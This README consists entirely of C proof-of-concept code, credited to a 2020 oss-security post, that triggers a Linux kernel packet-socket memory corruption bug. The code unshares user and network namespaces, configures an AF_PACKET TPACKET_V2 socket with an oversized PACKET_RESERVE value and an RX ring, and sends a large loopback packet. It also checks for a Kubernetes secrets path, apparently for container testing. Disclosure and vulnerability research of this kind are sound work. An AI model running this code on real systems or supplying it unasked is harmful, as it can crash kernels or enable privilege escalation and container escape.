README.md
Rendering markdown...
/* Taken from https://www.openwall.com/lists/oss-security/2020/09/03/3 */
#define _GNU_SOURCE
#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdbool.h>
#include <stdarg.h>
#include <net/if.h>
#include <stdint.h>
bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_unshare() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
}
void prep() {
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
}
void packet_socket_send(int s, char *buffer, int size) {
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
sizeof(sa)) < 0) {
perror("[-] sendto(SOCK_RAW)");
exit(EXIT_FAILURE);
}
}
void loopback_send(char *buffer, int size) {
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("[-] socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}
packet_socket_send(s, buffer, size);
}
int main(int argc, char **argv)
{
int skip_unshare = 0;
struct stat stbuf;
if (argc > 1 && strcmp (argv[1], "skip-unshare") == 0)
skip_unshare = 1;
else if (stat ("/run/secrets/kubernetes.io", &stbuf) == 0)
skip_unshare = 1;
if (!skip_unshare)
setup_unshare();
prep();
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) );
if (s < 0)
{
perror("socket");
return 1;
}
int v = TPACKET_V2;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0)
{
perror("setsockopt(PACKET_VERSION)\n");
return 1;
}
v = 1;
rv = setsockopt(s, SOL_PACKET, PACKET_VNET_HDR, &v, sizeof(v));
if (rv < 0)
{
perror("setsockopt(PACKET_VNET_HDR)\n");
return 1;
}
v = 0xffff - 20 - 0x30 -7;
rv = setsockopt(s, SOL_PACKET, PACKET_RESERVE, &v, sizeof(v));
if (rv < 0)
{
perror("setsockopt(PACKET_RESERVE)\n");
return 1;
}
struct tpacket_req req;
memset(&req, 0, sizeof(req));
req.tp_block_size = 0x800000;
req.tp_frame_size = 0x11000;
req.tp_block_nr = 1;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
perror("[-] setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
perror("[-] bind(AF_PACKET)");
exit(EXIT_FAILURE);
}
uint32_t size = 0x80000/8;
char* buf = malloc(size);
if(!buf)
{
perror("malloc\n");
exit(EXIT_FAILURE);
}
memset(buf,0xce,size);
loopback_send(buf,size);
return 0;
}